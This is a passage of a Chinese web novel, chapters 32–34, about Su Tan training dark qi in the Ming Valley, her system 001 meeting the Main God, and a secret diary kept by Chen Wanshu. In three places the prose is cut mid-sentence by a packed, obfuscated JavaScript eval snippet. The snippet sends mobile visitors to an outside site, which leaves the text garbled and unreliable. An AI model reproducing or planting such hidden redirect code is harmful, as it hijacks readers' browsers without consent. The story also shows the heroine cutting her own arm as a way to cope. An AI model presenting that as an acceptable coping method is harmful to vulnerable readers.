下一秒,一个系统很识趣地出现。 苏昙泄了力,闭上眼躺在床上,对识海里刚刚来的那个人说道:“今日这种感觉,比让我承受黑气还要难受。” 001很乐意为她提供这方面的建议,说:“这件事,也许你可以换个角度想。” 换个角度?苏昙被他低沉而磁性的嗓音扰得耳根发痒,她觉得自己可能真的需要换个角度。 于是她翻了个身,趴在床上,说道:“我的真实年纪比何瑚大了将近五岁,在我眼里,她就是我妹妹,不论她是何想法,我对她负责是我的态度。未来每一天都充满不可控的因素和意外,我不想让她花那么多心思在我身上。” 001没有接着她的话聊,转而提起了之前的一件事。他说:“其实,上次在雪山谷底,我有句话想对你讲。只是那时你状态太差,就没告诉你。” “什么话?” “哪怕你能够自如驾驭黑气,你真的认为可以成功平安地渡过未来劫数吗?” “……” “抱歉,我——” “你说的对,我一直没有渡劫的底气。”苏昙坦然承认,她声音不大,却清晰坚定,“但,你也认为我可以驾驭黑气,不是吗?” 苏昙的反问,问住了001。 他在她身上,看到他所不曾拥有的,也感受到了他不曾体会过的。他说不清这是一种什么样的感受,只觉得喉咙一圈圈地发紧,心跳得越来越快,目光就像黏在了她身上,怎么揭也揭不开。 “你说的没错,不需要道歉。”苏昙对着空气摆摆手,“现在我没有底气,但不代表我以后也没有。你的话反而提醒我,我做得还不够好,我还需要努力。” “而且我知道,也理解,你觉得我身边有何瑚一起会更好更轻松,可我不是这个世界的人,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16436576|182094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 早晚会离开。到时候,我该怎么向她解释,原主又该怎么说?我这个人,做就是做了,不需要就是不需要。” 苏昙难得和001没有拌嘴,忍不住多说了两句。 001目光依旧落在她与烛光相映的线条柔和的脸庞,没有立刻回应。 为何他身上涌起的异样感觉还没有消失? 又偏偏只有在看见她时才会出现。 她这个人,真的好奇怪。 把他也变得奇怪起来了。 “001?” “我在听。”他努力忽略身上陌生的感受,说道,“你很清楚,何瑚她信任你。那你呢,相信她吗?或者说,你愿意相信她吗?有时,正是因为想得太多,反而顾此失彼,最后就只顾着东躲西藏,弄得身心俱疲。” 苏昙语塞。 001的话直接戳在了她心窝窝里,一针见血。 其实是她一直在选择逃避,看似以为迎难而上,实际是在避重逐轻。摆在她面前的问题,不是关于何瑚,而是她本人。 苏昙心里浮现答案。 她收敛了眼神,望向空气中的一片虚无,反问道:“那你呢?如果我问你,有没有信过我,你会怎么说?” 001滴水不漏:“信任那么轻易就能承诺的话,我这一百多年难道不是白活了?” 苏昙虚伪地笑了笑:“巧了。我虽然没你见得多,独善其身的道理还是懂的。” “荣幸至极。” “彼此彼此。” 一段沉默。 良久,001开了口:“何瑚的事……” “多谢你,我心里有答案了。” “那需要我说不客气吗?” “你也可以跪安。” 001:“……” 这才是他认识的宿主苏昙。 “001。” “怎么?” 苏昙眼底透着细碎烛光,神色认真:“也许你从前的确如131所说那样‘善良正义’,可我看得出你几次帮我、救我,不是单纯出于你的保护欲。我能猜到,你有想从我身上,或者通过我得到的东西。但我不介意。” “我们之间,是做不到完全信任,但我将你的救命之恩铭记在心绝一点也不假。在里世界,我需要你的帮助,这是不容置疑的事实。我不在乎你对我的态度,因为只有我真正能够掌握在手里,才能感到安全。你能明白吗?” 她的话既有真诚,也带试探。 001察觉到那种陌生的异样感又来了。 他不害怕苏昙发现他利用她调查主神的秘密,而是他从没想过,她会认真地说出这些话。 他不知道该如何回应这种奇怪的感觉。但他很清楚,若是再待下去,异样感只会越来越强。 于是他不打招呼地悄声逃走了。 * 苏昙心里没了之前的犹豫顾虑,在学堂找到何瑚,和她直奔长莱殿。 没想到这次穆遣和苏婉凌都在。 她道:“父亲,母亲。你们在商量望月峰的事情吗?” “没错,”苏婉凌抬手示意她俩走近些,“我们和长老们觉得你今日所说不无道理。只是让你一人去望月峰太过危险,所以,我们决定索性这次就多派些人过去,以示求和诚意。” “可以呀。”苏昙没觉得有何不妥。 何瑚站在一旁提醒道:“既然这样,不知弟子可否和阿檀同去?” “自然。”比起上午的心力憔悴,穆遣的面色看起来好了许多,“不仅有你,还有三位弟子与你们同去,后日便出发。届时陈长老会带着你们。如果没什么事,你们就先回去准备吧。” 苏婉凌最后说道:“阿檀,你留一下。” 此刻殿内只剩下这一家三口。 苏婉凌握住苏昙的手:“先前我曾暗自决定,若你能度过这次仙门试炼,我便教你保命的法子。” 苏昙心道,可以是可以,就是她现在修黑气,不知苏婉凌的法术会不会有用。 苏婉凌面露担忧:“虽说十几年前冥谷就被封印起来,一直没有人进出。但望月峰离冥谷很近,以你的体质,怕会很不好受。我将灵隐心法传授给你,愿你终有一天能够得悟。” 32. 世界二(17) 望月峰此地恰如其名,建在一座云山上。 下了山,再往南方向走三里地,便是冥谷。遣凌派弟子等人来时经过冥谷,苏昙还特意留心了冥谷周围环境。 陈万肃抚了抚衣袖,带着人在峰下站定:“今日我会先随你们去见两位峰主,但日后的修炼就要靠你们自己。这一年时间里,每月末我都会来一次。若遇到什么问题,可以向两位峰主寻求帮助,或者月末找我。切记,你们代表的是遣凌派,定要约束规范自身言行举止,不要惹人非议。” 五名弟子除了苏昙和何瑚是女修,其余都是男修,两人自然分到一个屋子居住。 终于等到拜见峰主的繁琐仪式过完,陈万肃离开,苏昙放完行囊,瞅了一圈,没看见何瑚,就一个人离开了房间。她按来时路原地折返,重新返回望月峰正殿。 殿上高座上的人上了年纪,脸上却丝毫没有疲惫之姿,双眼因常年修仙格外有神采,完全看不出她已经到了不惑之年。 南宫望月毫不意外她的再次出现,缓声道:“你来了,苏檀。” “看来您早有预料。” “刚刚在这里就看出你有话要说。” 苏昙点头直言:“相信您也清楚遣凌派此次前来的目的。接下来这一年里,两派之间不止要相互交流学习,更是为了缓和数十年的僵局,以身表率,促进各派友好来往。” 南宫望月轻轻哦了一声:“你不觉得,这话听着甚是耳熟?” “?” “恐怕你母亲没告诉你,十七年前遣凌派刚刚成立之时,这话她便说过了——”南宫望月好气地看着她,“还真是有其母必有其子。” 苏昙:“那苏掌门可有提前和您商量?” “……” “哦,看来此次求和是南宫峰主的意料之外了。还是说,您正好也恰有此意?” 苏昙来之前曾向苏婉凌了解过南宫峰主的性格如何,最后得出结论:傲娇一枚。对付傲娇,拐弯抹角最没用,打直球才是王道。 今日一见,果不其然。 南宫望月表情崩了一瞬,很快又恢复自然:“同意与否是全峰一起做的决定,我一个人说的算不上数。” 苏昙话头一转,敛去了语气中的尖锐,恭敬地做了个揖:“您可能不知道,我独自前来找您,其实另有目的。” 南宫望月微微挑眉:“你说。” “是关于冥谷——” “冥谷怎么了?” 苏昙见她有兴趣,反而不再多说:“那您可要再答应我一个条件。” 南宫望月毫不犹豫:“不可能。” “无碍,此事不急,您可以再好好想想。” 苏昙该说的已经说完,便告别她,回到安排的住处。 屋内依旧没有人。她想了想,在桌上留下张字条:今晚可能晚归,勿等。 苏昙准备再去冥谷看看。 来的时候经过那里,苏昙身上就涌起一股熟悉的感觉。她避开陈万肃,又悄悄问了一同的何瑚等其他弟子,都没有这样奇怪的感觉。想来应该是修习黑气的人特有的感应。 半个时辰后,她站到了冥谷门口。 冥谷入口被封住,附近地上落满枯叶,杂草丛生。二十米外,是明媚阳光,二十米内,阴森凄凉。她拾起地上的一片叶子,轻轻扔向封印。 “唰!” 枯叶瞬间被封印的力量分割成两半残片。苏昙推测,若是用灵力,估计很快会被发现。 她走到入口封印处,谨慎环视周围,调起体内黑气,下一秒,体内的感应果然变得更加强烈。 苏昙又看了一遍四周,深吸气尝试穿过封印。 ——先是手,接着胳膊,最后是全身。 她万万没想到,黑气竟然成了她在冥谷的通行牌,轻而易举便破入了封印。她在谷内找到一处隐秘地,静等几分钟,确定封印没有异样,才放下心来,继续前行。 冥谷算得上至阴之地,目光所及遍地荒凉,不见鲜花绿草,只剩满眼千疮。苏昙越往里走,越发觉得身体变得不对劲。这是……精神快要失控的前兆! 她太熟悉这种感觉了。 每向前走一步,苏昙的心情就更加焦躁,头痛就加重一分。十步后,她的心脏剧烈地在胸腔跳动,如雷声般在耳边震响,震得脑袋发蒙,眼前白一阵黑一阵的。 二十步后,苏昙停下了脚。 这样下去不是办法。 她把手缓缓伸向腰间的匕首上。 “苏昙,你疯了?” 001的声音猝不及防出现在她耳边,唤回了她一丝清明。 她强压下心里的狂躁,凝视匕首,一字一句地说:“我没有。” 001一点不信她的鬼话,直白道:“你现在的做法很冲动。” 苏昙舔了舔干燥的嘴唇,视线依旧没有离开匕首的刀鞘:“如果我不这么做,恐怕才是真的要疯。我现在清醒的很。” “那也不需要用伤害自己的方式来保持清醒。”001冷声说。 苏昙心里狠狠一跳,飞快地抽出匕首,情绪变得异常激动,冲识海里的人吼道:“你有资格这么说吗?我费尽心思地完成任务,你不应该感到开心庆幸吗!难不成非要我哭着跑着逃出冥谷,到时候恐怕你又要对我冷嘲热讽,看我笑话了!那时候你才满意吗!” 很快,她浑身一顿,又极力控制语气:“我心里有数,不用你管。” 不等001开口,苏昙的手臂上已经多出一条血线,鲜红的血滴刺激着视觉。 不同于脏腑内的痛,手臂伤口处传来的痛感反而让苏昙感受到周围的存在和真实,不断地提醒她,她还是真正的她,那个能够掌控自己的理智和情绪的人。 苏昙靠着这一丝疼痛逐渐冷静下来,坐到旁边的空地上,闭眼进入识海缓神。 时间一分一秒慢慢过去。 半晌,她好受了些,从识海出来,想起刚才短暂的争吵,不确定那个人现在有没有被气跑,会不会听到她的道歉。 但出于礼貌,她还是解释道:“如果我不这样做,根本坚持不到走出冥谷。刚才……我不知道为什么,每次黑气在体内作祟,我的情绪就会不受控制,那些话不是针对你,你别往心里去啊。” “那下次呢?” “?” 苏昙没想到001回得这么快,身体还没缓过来,大脑一时也没反应过来,就被这个问题问倒了。 001看着苏昙苍白的面庞,脑海里却浮现出那天她映在烛光下的柔和的面容。 他心里控制不住地发闷,这种感觉让他觉得和自己割裂,想把身上陌生的那一部分尽数抛弃,于是语气也变得锋利,他质问道:“下次呢,你还要再划自己一刀?一刀不够,两刀,三刀?” 苏昙感到那人的语气竟罕见地带上了情绪,继续耐心解释道:“首先,这是仙侠世界,伤口恢复得很快,而且我划的时候控制了力度。你看,这会时间都快要愈合了。” 她抬起手臂随便往半空一放,也不知道001究竟有没有看到。她轻轻耸了耸肩,说:“有些事情,只能靠我自己去解决,也只有我才能解决。未来,我肯定不会再需要这把匕首了。因为你不相信我,所以不认同我的做法。” 001突然被扣上一顶名为“不信任”的大锅,忽地又想到前不久信誓旦旦地对她扬言“若是信任那么轻易就能承诺,一百多年难道不是白活?”,下意识反驳的话不上不下地卡在了喉咙里,化成了气势全无的一个字:“我——” “啊!差点忘了,何瑚还在等我,我得赶紧回去了。” 苏昙一屁股从地上站起来,不敢再多待,怕引起何瑚的怀疑,完全没听到001那声细弱蚊哼的“我”。 001悄悄按了按心脏的位置,刚刚那里生出了一个疑问。 如果不信任的话,他为什么会因为看到她伤害自己,而感到生气呢? * “阿檀,你回来了!” 何瑚到房间时正好碰上从冥谷回来的苏昙,想到下午自己的消失,不禁有点心虚。 “嗯,原本我以为要晚些回来,还给你留了字条,就放在桌上。” “我看到字条了。你晚上有要事吗?” “算不上要事,”苏昙灌了一口茶,“就是去找望月掌门说了会儿话,毕竟她是母亲的挚友,当年看着我出生,打声招呼还是有必要的。” “确实……”何瑚突然凑近,盯着苏昙说道,“不过阿檀,你脸色看起来不太好诶,发生了什么吗?” 这要命的观察力。苏昙又喝了一口茶,淡定地解释:“可能是还不太适应这里,过几天就好了。” “那你有任何不舒服都及时和我说!”何瑚信以为真,点头进了里屋,准备上床休息。 苏昙边脱外衣边看着何瑚钻进被子,逮住她问道:“你还没告诉我,你一下午去哪了?是不是,去见他了!” 何瑚红着脸反驳:“南宫洛奚今天一天都在学堂,我才没去见他!” “我可没说他是谁。”苏昙扑哧一笑,紧挨着何瑚躺下,看到她的耳朵也变得红红的。 她看着高处的房顶,又和声说道:“你和他在一起,我没什么意见。但千万要保护好自己。” 何瑚露出一颗圆圆的脑袋,小声地说:“我明白的。” “那我便放心了。若是南宫洛奚敢欺负你,我定饶不了他。” “嗯……” “还有——”苏昙微微转过头,想再说说些什么,却发现身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16450937|182094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边的人的呼吸均匀平缓。 苏昙也发觉自己未免太唠叨,二十多岁的人怎么活像个絮叨的长辈,识趣地闭上了眼。 当她好不容易逃过白日里冥谷的阴森回忆,昏沉将睡时,早已进入睡梦的何瑚不安分地缠上她的身体。几番推拉过后,苏昙认命地叹了口气,起身换了个远些的位置。 * 自来到望月峰已过去三日,苏昙除了在学堂匆匆见过南宫望月一面,今日终于再次见到。 她被人领进一座邸院大门,又绕过弯弯绕绕的小径,在一个落座荷塘旁的凉亭里见到饮茶等候的南宫望月。 “南宫峰主。” “坐吧。” 南宫望月遣散身边弟子,推给苏昙一杯泛着淡蓝色色泽的茶水。 苏昙微抿一口,品出茶水味道与寻常滋味不尽相同,比寻常药草还要苦涩,余留的辛味在唇齿间久久弥散。 “这是?” 南宫望月笑笑,端起一杯一饮而尽:“腐草水。能增强修仙之人的阴气,所以常做药理调协体内阴阳平衡。正常人偶尔一杯无伤大雅,但若是饮用过多,反而会使阴阳失衡,损伤修为。” 苏昙刚来的时候就对她提过冥谷,此时被她发现不算意外,只停了片刻,问道:“您知道我去过冥谷?” “我不知道你用的什么方法进去。但那日在学堂,我能感知到你身上阴气比初来时重了许多。这不正常。” “想必峰主知道的不止这些吧。” 苏昙神色淡淡地问,不然峰主也不会莫名其妙地拿出来腐草水,这是暗里点她呢。 好一个醉翁之意不在酒。 “我喜欢和聪明人说话。”南宫望月眼里含上浅浅的笑意,点头说,“望月峰附近阴气最重的地方,只有冥谷。我猜,那里有你需要的东西。冥谷是至阴之地,与修仙之人的灵气最为相克。而你本就诞于冥谷,灵脉微弱,却还愿意冒着危险去那里。可你唯一能得到的,除了数不尽数的邪祟和阴气,我实在想不出第二者。” 苏昙差点忘了,当年南宫望月也是没事就往冥谷跑的人。冥谷里面情况,南宫望月比她要清楚得多,此时越是欲盖弥彰就越是漏洞百出。 不过,南宫望月说的对,但也不对。目前来看,她也不知道黑气的存在。 可见陈万肃藏得可真够深。 苏昙将错就错道:“没错。我深知我父母一直忧心冥谷祟患,恰好我生于那里,虽灵力低微,却未曾不可另辟蹊径。若是能修炼成至阴之体,那些阴邪淫祟便不足为惧。况且,您的腐草水不也是这个意思?” 她相信,即使多年过去,哪怕旧人不似往昔,年少时的理想总能唤起人的几分情怀,更何况,清理冥谷邪祟,那是南宫望月四人当年的共同愿望。 南宫望月神色微敛:“但你要知道,长期呆在冥谷,引阴气聚于一身,是身体和精神的双重折磨。这是一条和修炼灵气完全相悖的道路。” “我选择的路,不后悔。”苏昙将杯里的腐草水一饮而尽,轻松道,“您和我母亲果然相像。” “什么相像?” “做事毫不优柔寡断,还尊重对方的决定。” 南宫望月一愣,随后扭脸看向别处:“她那个人,整天活蹦乱跳像只脱兔,我怎么会和她像。” “看来您有所不知,这十几年里,母亲变化太大了。” 苏昙笑意减淡,向南宫望月娓娓道来。 待她将遣凌派建立后的发展和苏婉凌等人的近况一一讲完,几乎半天时间过去。 话音落,她听到南宫望月轻轻吐出一口气。 苏昙对她拱手:“其实,弟子心里还有一个不情之请。” 南宫望月:“说来听听。” “若我母亲问起我的情况,请您不要提起我去冥谷修炼这件事。” “为何?” “我体质特殊,母亲和父亲本就对我万分牵挂。若是他们得知我如此举动,定要更加担忧。” 南宫望月摆了摆手:“理解。这件事,换做是谁,都不希望让身边人知晓。我答应你。” 随后她又补充道:“对外,我声称你是我关门弟子,无需再去学堂听讲,给你行动自由。切记,在冥谷有任何情况都要及时告诉我,并且每隔半月就要出谷一次,避免他人起疑。婉凌她……是我昔日好友,若你出事,我无法给她交代,更无法给自己交代。” “没问题。” “现在想来,你确实是最合适的人选了。”临走时,南宫望月把一把一把的腐草根塞给苏昙,“如今你需戒掉口腹之欲,没事便多喝腐草水。若你不介意林戚知道,让他给你炼制些丹药或许帮助更大。” 苏昙再次真心诚意地道谢:“自然。多谢两位掌门好意。” 33. 世界二(18) 直到001回到虚空之境,都没察觉出自己的严肃紧绷的嘴角。 131看见他,像是看到什么百年不遇的奇观,新奇道:“你这是和谁吵架了?苏昙吗?能让你情绪变化的人可不多。” 当事人没说话。 131化身001的私人狗仔,眼睛放光如镜头,邪笑道:“你不说话,我就当你默认了。” 001竟然真的一板一眼地回答:“最近和她见面,我会有一种奇怪的陌生感觉。” “听你说过好几次这种奇怪的感觉了。但我之前也和苏昙相处过,怎么就没这种感觉?你反感吗?” 001仔细思考几秒,说道:“不反感。但我之前从未有过这种感受。” 131爽快地把手一拍:“那这是好事啊。” “?” “这说明,你通过和苏昙的朝夕相处,能感受到的情绪越来越多了!这难道不是你一直想做的?” 001半信半疑看向131。 “要我说,朋友之间,有争吵很正常。”131语重心长道,颇像一个经验丰富的老学究,“但这都不算事。没什么说不开的矛盾,重要的是你得多沟通,互相信任,懂吗?” “朋友……信任……”001无意识地重复着他说的话,翻来覆去念了几遍,抬起眼狐疑地问,“你从哪学的这些?” “我带过那么多宿主,知道这些很正常。”131耸肩,“还有,你要是真想破冰,增进你们的感情,很简单,你主动点就好了。因为你,就是那块冰。” “我没说要增进感情。”001反驳,语气淡定,“怎么之前怎么没见你这么有经验?” 131咋舌:“这不是你一直没给我表现的机会么——哦对了,主神说让你有时间了去找他一趟。” 001收敛了笑意,良久,微微点了一下头。 出了工作间拐进一条长廊,尽头有一扇熟悉的古铜色密门。 不变的巨大猩红色触手。 和同一个身影。 上次001以格式乱码的形体潜伏暗处,现在他作为系统,化成人形,脊背停得笔直,像一张拉满的弓,立在了密门前。 主神的声音穿透密门,传到空旷的长廊:“走近些。” 001上前几步。 “最近工作如何?” “一切都好。” 主神顿了顿,道:“001,你在我手下工作多久了?” “已经有一百八十八年。” “这么长时间了啊……”猩红色触手在墙上蠕动交叠,像一个巨大的蛛网。主神问,“你的宿主叫苏……苏什么来着?” “苏昙。” “对,苏昙。你和她之间相处如何?” 001脸上没有什么表情:“经我观察,她是一个合格听话的宿主,十分符合主神的挑选标准。” “听话就好。你知道,我看不见宿主那边的情况。若到必要时候,没必要和宿主死磕,我会给你更好的。” 001淡淡地垂眸,声音像波澜不惊的水面:“我明白。” “这次叫你过来,就是告诉你,工作上遇到任何问题,都可以来找我,我帮你解决。” “多谢主神。” 主神被他恭敬疏离的称呼叫得眉心微动,心里品得有些不是滋味。祂看出001还有话要说,没有立刻让他走,静静地等着他开口。 很快,001说:“还有一件事。前些天我已经想好了,若是能带宿主成功完成任务……我想离开这里。” 早在主神创下虚空之境的时候,便和所有子系统有过约定,若是能带宿主成功完成所有里世界的任务,就能离开虚空之境,以人类的身份选择去任何一个世界生活。 至于所有是多少,谁也说不准。 当然,如果子系统不想离开,主神则会满足他们的任意一个要求。 但主神想过谁有可能会离开,万万没料到先提出来的竟然是001。祂一直以为001会尽心尽力地待在祂身边,做个好看又全能的工具。 祂很快掩饰住愤怒的情绪,和声问:“你想离开虚空之境?” 001掀起眼皮,直直地盯着密门的中央:“是的,我想要一个人类身份。” “为什么——” “子系统是人吗?” 主神猛地没听懂,愣了一下,笑道:“你怎么会是人?子系统就是子系统,长生不老且强大,不好么。” “但我想做个人。”001一字一句道。 他的目光似乎穿过厚重的密门,飘向了不知名的远方。他脑海里浮现了一张脸,或笑或哭或嗔怒,无一不是鲜活生动的,搅动着他一潭死水的生活,让他得以窥见一丝来自世界的光。 他在她身边,总会觉得人类也不全是他想的那么刻薄自我,还是有点可爱的,甚至让他有些着迷了。 一时间,主神和001都没再说话。 良久,密门上的触手神经质般地动了动,里面传出主神的声音:“好,这个给你。” 众多触手之一突然挺立伸向001,触手尖端的吸盘凭空出现了一个乒乓球大小的透明水晶球。 001:“这是?” “无念珠。”主神说,“一个优秀的子系统不应该有其他杂念,没用的思考就应该清除,放到这珠子里。” 001取下触手上的无念珠,收进口袋:“主神放心,我不会用到的。” “我当然相信你。”门后的声音似乎有了几分笑意,“我可不希望有我亲自动手教你的时候。行了,我要交代的都交代完了,你走吧。我倒是……开始期待送你离开的那天了。” * 时间一旦跑起来,什么阳光风雨都如过眼云烟,转个身画个圈,眨眼就散尽生活里了,一晃便到了五个月后。 有了南宫望月的腐草水和林戚的聚阴丹药的帮助,苏昙在冥谷适应得越来越快。小半年过去,熟悉的癫狂感和浑身的疼痛变得像家常便饭,她修为在二者的催促下精进了不少,但想要短时间弥补上原主空缺的时光,还有一段很长的路要走。 这日,苏昙走在冥谷,却怎么也找不到阵眼位置所在,就连黑气的气息都没变化,她探查不到更浓郁的地方。她握着匕首,刀刃上还残留着她刚刚划伤的手臂伤口的鲜血。 苏昙忽略掉身体的不适,安慰自己,等到出去后一定要先大快朵颐一顿,把流走的气血都补回来! 思索间,尖锐的叫声响彻冥谷:“嘎——嘎!” 苏昙脚步不停,定是冥谷的一群阴邪淫祟又循着血味找过来了。 唉,都是“吃不饱”的可怜人啊。 她轻轻摇摇头,麻利地施诀除去匕首上的血迹,边叹息边使出黑气,挽了个漂亮的刀花,将蜂拥而上的邪祟一举消灭。 也不知是不是南宫望月看她日复一日地在冥谷修炼,竟还默认她承担起了灭除周边邪祟的工作,时不时还会问几句冥谷里的情况。 像往常一样,苏昙消灭掉嚣张的邪祟,在冥谷一处偏僻之地打坐修炼。她识海里依旧一片黑暗,不过亮不亮的已经不重要了。她现在在黑暗里,不需要视野,也能行动自如。 一阵风吹,地上枯草晃了晃将断未断的草根,摇摇欲坠地不肯垂头。 苏昙指尖微动,心里暗道:“有人在附近。” 她立刻结束打坐,摇身站起来,顺着动静传来的方向悄悄追去。 走到冥谷入口,她看清了那人的模样——陈鑫郁侧身背对着她,脚步匆匆地走到离入口不远的一棵柳树下,停了下来。 不一会,他整个人直接消失不见。 “难道岳门宗藏在这里?” 苏昙在原地等了一会儿,然后对自己施了个隐身术法,同时隐去身上气息,来到陈鑫郁刚才在的位置。她不知道陈鑫郁做了什么,打开了一扇门。 她环顾四周,仔细地瞧着上下左右,最后发现脚下的一片泥土颜色比其他地方要深。苏昙神色微动,将手指放到另一条小臂上还未愈合的伤口,施诀挤出一串新鲜的血珠。 果然,没等几秒,她眼前环境瞬间变化——她进到一个宗门内,牌匾上所写的三个大字,正是“岳门宗”。 进到宗门里的一刻,她就察觉到这里面也有黑气,比冥谷内气息还要浓郁。 苏昙像个自己人一样,在宗内转悠起来,来到弟子修习听讲的地方。 她还分出心思数了数,加上长老,这里一共十四个人——这数量在门派内可算不上多,简直是少得可怜。 陈鑫郁就在这些人当中,还有之前在冥谷见过的金迩和他身边的跟班。 苏昙找了一圈,没看到一个长得像宗主的人,反倒在宗门最里面的地方,找 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16456389|182094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到一个被这笔术隐起来的上锁的房间。她敢肯定,这里面绝对有个黑气窝,因为里面的黑气气息浓得几乎快溢出来,就差告诉她,快来找我啊我就在这! 然而,苏昙靠近看着门上的锁,保不准附有什么机关禁制,万一一个不小心全宗门报警,她直接找个地缝钻进去算了。 想着,她利落地化作一团黑气,从窗户缝隙处钻了进去。 刚在房间落地,苏昙一眼瞅见了桌子上摆放着的黑色莲花形状砚台。 她这才意识到,原来误打误撞进到的地方,正是陈万肃的房间!他就是岳门宗的宗主! 所以,陈鑫郁在虚境说金迩的父亲是掌门什么的都是假的,他从一开始就在撒谎。还真是个问题少年啊。 并且看样子,岳门宗的人也不知道这二陈的关系。 陈万肃房间没什么居住痕迹,看得出他不经常回来。但四处干净整洁,书籍花瓶都有条不紊地摆放在合适的位置,一看就是有人经常打扫。 而陈万肃又多疑,能称之与他亲近,进入他房间的人,恐怕只有他的义子,陈鑫郁了。 苏昙走到书桌旁,随手拿起上面搁置的砚台。她放在手心上下掂量了几下,察觉出一丝不对劲。 “普通砚台会有这么重吗?” 她心里嘀咕着,倾头侧耳,晃了晃砚台,隐约听到里面传来“沙沙”声响。 这里面是空的。 苏昙凝神捏了个消声诀,宝玉似的砚台啪一声四分五裂,一沓厚厚的信纸掉出来散在地上。 在看到信纸上的字后,她心脏剧烈跳动起来:“这是陈万肃写的随记?” 也是他想要隐藏的秘密。 信纸上标注的日期最早在“仙历五十五年初春,三月初五,阴雨天——”。 “华门宗尽数被灭,而我侥幸逃过一劫,但实在无脸去见宗门内各长老和师兄师姐。我要报仇,报华门宗灭门之仇。 明日,我便离开这里,入冥谷。这件事,只能由我一人去做,希望那三人不会怪我不辞而别。我真的别无选择。” “仙历五十五年春,四月初六,晴。 我已入冥谷数日,却始终不见阵眼何在。说来也怪,总能感觉到四周有一股奇怪的气息环绕,心里有种说不上来的怪异。 今日午时,我竟在冥谷里遇到一个三岁孩童。那男孩身上衣服不甚完整,脸上挂着伤和尘土。他体内经脉运转奇怪,似乎有早逝之兆。我询问半天,也未得知他来自哪里。想来是一个身体残缺、父母不要的可怜孩子。 我本去意已决,无奈冥谷邪祟太多,实在不忍放他独自一人,决定将他带在身边。” “仙历五十五年夏,七月十五,晴。 那种奇怪的气息变得更强了……我猜测也许我们已经走到了这种气息源头的附近。 对了,那个捡来的小男孩性格沉默寡言,总自己一个人待着。听话倒是听话,让做什么就做什么,从不反抗。 都说长兄如父。昨日,我给他取名,叫陈鑫郁。平日便喊他阿郁。他没有意见。” “仙历五十五年夏,七月十八,阴。 今日我遇见一个黑影,他自称莲。莲没有容貌,通体黑色,只有一件斗篷披在肩上。他身上有着无比强烈的那种气息,他告诉我,这叫做黑气。与平日我修炼的灵力大不相同,黑气可以快速提升修为,拥有比灵力还要强大的力量。 我怀疑莲有读心术一类的法术……他知道我想要为宗门报仇。说实话,我有些动心,但对突然出现的黑气心存怀疑。我决定带着阿郁和他相处一阵子。” “仙历五十五年夏,八月十五,晴。 这黑气果然厉害。莲告诉我黑气虽然强大,可长久以往修炼,会对人的神智造成不可逆转的损伤。我做好了这样的准备。 我向莲学习如何控制黑气,他说他很乐意教我。 不过,黑气看起来不是什么正道术法,阿郁还小,我暂不打算让他知晓这件事。” “仙历五十五年秋,十月初一,阴雨。 最近一段时间,我的情绪开始变得不稳定,但仍在我能掌控的范围,莲也说,他会帮我减轻这种不适。我问他来自哪,他不肯告诉我。 阿郁日常的修炼断不能落下,我得开始教他最基础的灵力法术了。另外,不知道苏婉凌她们如何了……时间过得真快啊……” 34. 世界二(19) 陈万肃在仙历五十五年的随记就到这里,再往后记录用的信纸比前面几张要新得多。苏昙继续轻声念道: “仙历六十年冬,十二月十二,雪。 时间飞逝,没想到,我现已到遣凌派任长老四年有余。 想当年,阿郁误打误撞和苏婉凌见过一面。说来也怪,那小孩生在冥谷,竟还能捡回一条命。每每看到那小孩,我便恨五年前的自己,没有带着苏婉凌一起消失,这样,孩子就能是我的了。 可惜苏檀她不是我们的孩子……可惜了。” “仙历六十一年夏,六月初三,阴。 我错了。莲远比我想象的要强大得多。 我现在对于黑气的修炼到了瓶颈期,无论怎么做都无法再近一层,但我还不能停下,我还要报仇!” “仙历六十二年春,三月初九,晴。 这些日子一直在忙着建立宗门的事。好在,岳门宗建起来了,我是宗主。我不放心把阿郁交给其他人,只有在我眼下我才能放心。 岳门宗隐立在冥谷旁的柳树下,方便我行动。 对了,在我百般要求下,莲答应教我更厉害的黑气术法,作为交换,我要以魂养他。我毫不犹豫答应。我们已经签下契约。 希望我的修为能够更加精进。” “仙历六十三年夏,八月十五,晴。 莲对我的威胁太大,我要另做打算,需得有能绝对牵制住他的东西……我得好好想想。 我有时变得无法控制自己的情绪,这几天,我已经不止一次对阿郁责骂,但阿郁他明明做得很好,每日刻苦修炼,从不偷懒,我需要给他道歉…… 阿郁……陈鑫郁……我知道如何牵制莲了!” “仙历六十三年秋,九月十九,阴。 趁着莲对我放松警惕之余,我对他做了一件事……他愤怒至极,和我大打出手。可惜,他现在已经不是我的对手了,这种感觉真爽。 另外,希望阿郁不要怪我。我所做的事,只有莲能够知道。事情的真相已经不重要,结果好就可以。 我变得越来越强了,真好。” “仙历六十九年春,五月初四,阴。 